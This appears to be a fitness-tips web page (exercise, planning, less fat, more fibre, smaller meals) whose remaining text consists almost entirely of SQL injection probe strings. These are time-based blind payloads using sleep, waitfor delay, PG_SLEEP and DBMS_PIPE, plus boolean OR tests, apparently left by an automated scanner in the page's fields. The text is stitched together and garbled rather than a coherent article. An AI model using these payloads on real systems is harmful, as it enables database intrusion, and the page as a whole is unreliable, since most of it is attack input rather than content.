1. Exercise regularly
Choose one or more sports you like, and persist for about half an hour every day. If you persist for a long time, you can achieve the goal of burning fat, controlling weight and exercising.
2. draw up a plan
Make a reasonable diet and exercise plan according to your actual situation, and strictly implement it.
3. Eat less food with more fat
Pay attention to eating less fatty foods, using less fatty seasonings, eating more natural and healthy foods, and eating less processed foods, especially fried foods.
4. Increase fiber intake
Bamboo shoots and spinach are rich in fiber, and pomegranates, apples and pears in fruits are also rich in fiber.
5. Eat 4 to 5 meals a day, but don't eat too much every time.
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tips-for-keeping-fit
tips-for-keeping-fit/.
2wUfLHwe
1*
1*
1*
1*
-1 OR 2+517-517-1=0+0+0+1
-1 OR 3+517-517-1=0+0+0+1
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1)); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
ApSykBFi'; waitfor delay '0:0:15' --
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-5 OR 899=(SELECT 899 FROM PG_SLEEP(15))--
-5) OR 615=(SELECT 615 FROM PG_SLEEP(15))--
-1)) OR 823=(SELECT 823 FROM PG_SLEEP(15))--
F6i4qHLi' OR 754=(SELECT 754 FROM PG_SLEEP(15))--
AewAF9P7') OR 369=(SELECT 369 FROM PG_SLEEP(15))--
s36jXvDZ')) OR 546=(SELECT 546 FROM PG_SLEEP(15))--
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@xNJqy






-1 OR 2+798-798-1=0+0+0+1 --
-1 OR 2+322-322-1=0+0+0+1
-1' OR 2+530-530-1=0+0+0+1 --
-1' OR 2+678-678-1=0+0+0+1 or 'DOUDhPxX'='
-1" OR 2+867-867-1=0+0+0+1 --
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
tips-for-keeping-fit
tips-for-keeping-fit/.




(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1 waitfor delay '0:0:15' --
evGRf0j6'; waitfor delay '0:0:15' --
74dhCE04'); waitfor delay '0:0:15' --
UXV4tdMD')); waitfor delay '0:0:15' --
uMGbnRAL' OR 435=(SELECT 435 FROM PG_SLEEP(15))--
8kvDiahu') OR 510=(SELECT 510 FROM PG_SLEEP(15))--
dIoKIGbi')) OR 372=(SELECT 372 FROM PG_SLEEP(15))--

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@RC4HT